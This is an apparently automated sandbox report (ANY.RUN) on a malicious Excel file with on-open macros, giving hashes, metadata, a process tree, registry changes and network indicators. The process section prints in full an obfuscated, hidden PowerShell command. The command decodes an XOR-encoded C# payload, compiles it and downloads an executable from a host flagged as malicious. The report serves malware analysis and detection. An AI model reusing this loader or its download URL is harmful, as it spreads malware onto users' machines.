File name:

break down.xls

Full analysis: https://app.any.run/tasks/c8400556-045b-44b1-80a3-b61e28a8be46
Verdict: Malicious activity
Analysis date: July 18, 2019, 08:41:15
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Title: r93861, Subject: efc38, Last Saved By: Administrator, Name of Creating Application: Microsoft Excel, Create Time/Date: Mon Jul 15 21:01:29 2019, Last Saved Time/Date: Mon Jul 15 21:01:30 2019, Security: 0
MD5:

9A1228AA1C399AAC6D7A2236EAD3A636

SHA1:

AFF308876996382B15F1E3C3BE9E42D8291882B2

SHA256:

97588EFDEEDF98E9B3337131D2B3C322D161DB9A430C2D32B7EFEEC2B426341B

SSDEEP:

1536:Jk3hOdsylKlgryzc4bNhZFGzE+cL2knAZgk+zHYaFRRuDmwtasy:Jk3hOdsylKlgryzc4bNhZFGzE+cL2knz

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts Visual C# compiler

      • powershell.exe (PID: 2640)

  • SUSPICIOUS

    • PowerShell script executed

      • powershell.exe (PID: 2640)

    • Creates files in the user directory

      • powershell.exe (PID: 2640)

    • Executed via WMI

      • powershell.exe (PID: 2640)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3488)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Title: r93861
Subject: efc38
Author: -
Keywords: -
Comments: -
LastModifiedBy: Administrator
Software: Microsoft Excel
CreateDate: 2019:07:15 20:01:29
ModifyDate: 2019:07:15 20:01:30
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • CapBudgWS
  • YUHCL
HeadingPairs:
  • Worksheets
  • 1
  • Excel 4.0 Macros
  • 1
CompObjUserTypeLen: 31
CompObjUserType: Microsoft Excel 2003 Worksheet
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
4
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start excel.exe no specs powershell.exe csc.exe cvtres.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2564"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\_jfnqw9n.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\csc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2640powershell -WindowStyle Hidden function kcf71 { param($pd2bd6) $w672e2 = 'v7d3f6';$ef38a8 = ''; for ($i = 0; $i -lt $pd2bd6.length; $i+=2) { $xb2838 = [convert]::ToByte($pd2bd6.Substring($i, 2), 16); $ef38a8 += [char]($xb2838 -bxor $w672e2[($i / 2) % $w672e2.length]); } return $ef38a8; } $tf1182 = '03440d5d0116254e1747035b4d42175a085156641d4012531b19364608421f5a011d2f580252165c16651345125a0553050c11400f581117374a1542135a4a770f5711590b40125f15445f46155f185044601f450252091d2f794d42175a085156641d4012531b192a56120d7b3d1446045a1f5444500a5705444442005317521f68225a1a7e09430944021f465803441852080054145a720a47144f26580d5d120b547001473644195425570244134417114f6b564711510a5f1517174707421f5444561e4213450a132f58026710414644105455505e1e3f5910631244565c530b0205441b1747145f18504449510040044d083d721a5b2d5e165904434c110d530459015f5504541b44760842044e345c0f5802175913447a1956007f0f540456164a441f2b171446045a1f5444401257025e0713034e0252165d467f1843344714161103050a0057401f1747145f18504440530e12564d083d721a5b2d5e165904434c110d530459015f5504541b44760842044e345c0f58020a46650f440242055f36441943015012145f6a444313541a5e0713154217430d5046530e430141081614580b5f464f150f530b4e7f1843344714161a01065207535a622d5d12660245445204054500071f46431f5910130b01130e57564a1619421013135f184344450052150455514f0d2d73085f2f5b065816474e143d52165d035a45054a570a5a541b44760842044e345c0f58020a4661125a3b5812562b531b58164a441a566401472a57054321411459040a02520a45131e3913154217430d5046530e430141081600580d5746514e020155001e3f5910631244565d560b57001303487a0842264316130c0e4f045c05501a1f5910130102155355025e1f4d4711510a5f1517174707421f54445a0842564d5d025f53151f4d482f580267104146584e01050b52164b170307070f1056521b0d551000551b440741020502510317035c065407170206114f1f4d5e021b080e40565c075b0b3f5910631244586d0141091f0d500b4709160e0f5d0b5004400c197a08422643161308554f5101055b44105455505e1e180f52525e025a5c075551075e155704535747005152550343025504530f440150055606430755005203541e4d080f505e59070a0053400a597a08422643161d3c5304584d4801590258444b5e0f4e0156055d4b237e0a4736420417160753504100550e4e633f59106312445f025f460f5802171d5603544206020e560d1f514c121f554e005c1b08554f5101054a444202020451075a071c07561a194210131f5313555002001f5f4c035c1259564f5c0a5e0044015f4e244f02523f6e464e45525251550b0d071c00571a464f02554a060e0e544e5d7f1843344714161305555252004e0a295214451e56081d275a1a58077b215a1955055f4e055f0c295214451e56081d2559064e4c4b55534055571f561a1305555252004e1b571a5d514e020155001e185213132f58026710414e58150e0256501822582d5d1200421f4d18564e460755514f1a1305555252004e1b571a5d4e4e0e5c0554004c17335604751a5e015d12161a0355575f504b59014446611355275f0f5318434c1a5d4502450d5d01161056555152024b720a450f441959095608425870014720591a5301413657025f4c7608401f450b5d0b5318434a601653155e055f20591a53014148770647085a0557025e0b5d225702564d18446a2a465c070501420146180d551000551b44034e025602050340154d080a0247535d55487219400a5f095712710d5f031e1d540204571e5406010755074603570605074f025d07020647025202540345065106000640035202530310065c065407410354075e0343065d060702140202035f03120602025e0746025203040240025d065207410354075f031307560607064e0607025303450657025f064703060355145f1b0252575442034d083644195401401565025616472f581058444b540417515d0e085301173441095513441760125704432d5d00595e5105020402421e5f631459155217404865025616474e4e440505555f1f4d4501471344181754081b460355085a0516054305470f55564410410f5811170f500001471f1747145f185044565f534f525c1a1d4502450d5d01161d005c5755044b1512040205100146081542045e0a54465142565d5507004b6410410f581119215e16420f0c025c141e1f5910130f0b460c0d0f030f130e010b487a135903470e0d1f1c59014f4d144e10564644105455505e0b35580a4503440219305c244f02524c565f534f525c1d3543144410410f58111f0d1f541f5a06521a5d5142565d5507005d0a4c500e57041e4c41005547545c1338161d005c5755042d1f0d1c541f56124458510e1204561d2a531850105b3b1f4d4a165612430459445452574f5105055d4b0b'; $tf11822 = kcf71($tf1182); Add-Type -TypeDefinition $tf11822; [qfeae]::z919ec(); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
3488"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3760C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESF436.tmp" "c:\Users\admin\AppData\Local\Temp\CSCF435.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\cvtres.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cryptsp.dll
Total events
768
Read events
674
Write events
87
Delete events
7

Modification events

(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:},>
Value:
7D2C3E00A00D0000010000000000000000000000
(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
A00D0000BC27A398443DD50100000000
(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:},>
Value:
7D2C3E00A00D0000010000000000000000000000
(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3488) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\10ED03
Operation:writeName:10ED03
Value:
04000000A00D00003000000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0062007200650061006B00200064006F0077006E002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00010000000000000010449699443DD50103ED100003ED100000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
0
Suspicious files
2
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3488EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRE86E.tmp.cvr —
MD5:—
SHA256:—
2640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BN00SWYAY0CILDG84LH4.temp —
MD5:—
SHA256:—
2564csc.exeC:\Users\admin\AppData\Local\Temp\CSCF435.tmp —
MD5:—
SHA256:—
2564csc.exeC:\Users\admin\AppData\Local\Temp\_jfnqw9n.pdb —
MD5:—
SHA256:—
3760cvtres.exeC:\Users\admin\AppData\Local\Temp\RESF436.tmp —
MD5:—
SHA256:—
2564csc.exeC:\Users\admin\AppData\Local\Temp\_jfnqw9n.dll —
MD5:—
SHA256:—
2564csc.exeC:\Users\admin\AppData\Local\Temp\_jfnqw9n.out —
MD5:—
SHA256:—
2640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
2640powershell.exeC:\Users\admin\AppData\Local\Temp\_jfnqw9n.0.cstext
MD5:—
SHA256:—
2640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF10f147.TMPbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
2
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2640
powershell.exe
GET
301
198.136.51.245:80
http://zeetechbusiness.com/loki/temp/css/html/see.exe
US
—
—
malicious
2640
powershell.exe
GET
404
198.136.51.245:80
http://www.zeetechbusiness.com/loki/temp/css/html/see.exe
US
html
79.2 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2640
powershell.exe
198.136.51.245:80
zeetechbusiness.com
HostDime.com, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
zeetechbusiness.com
  • 198.136.51.245
malicious
www.zeetechbusiness.com
  • 198.136.51.245
malicious

Threats

PID
Process
Class
Message
2640
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
2640
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
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Reports
break down.xls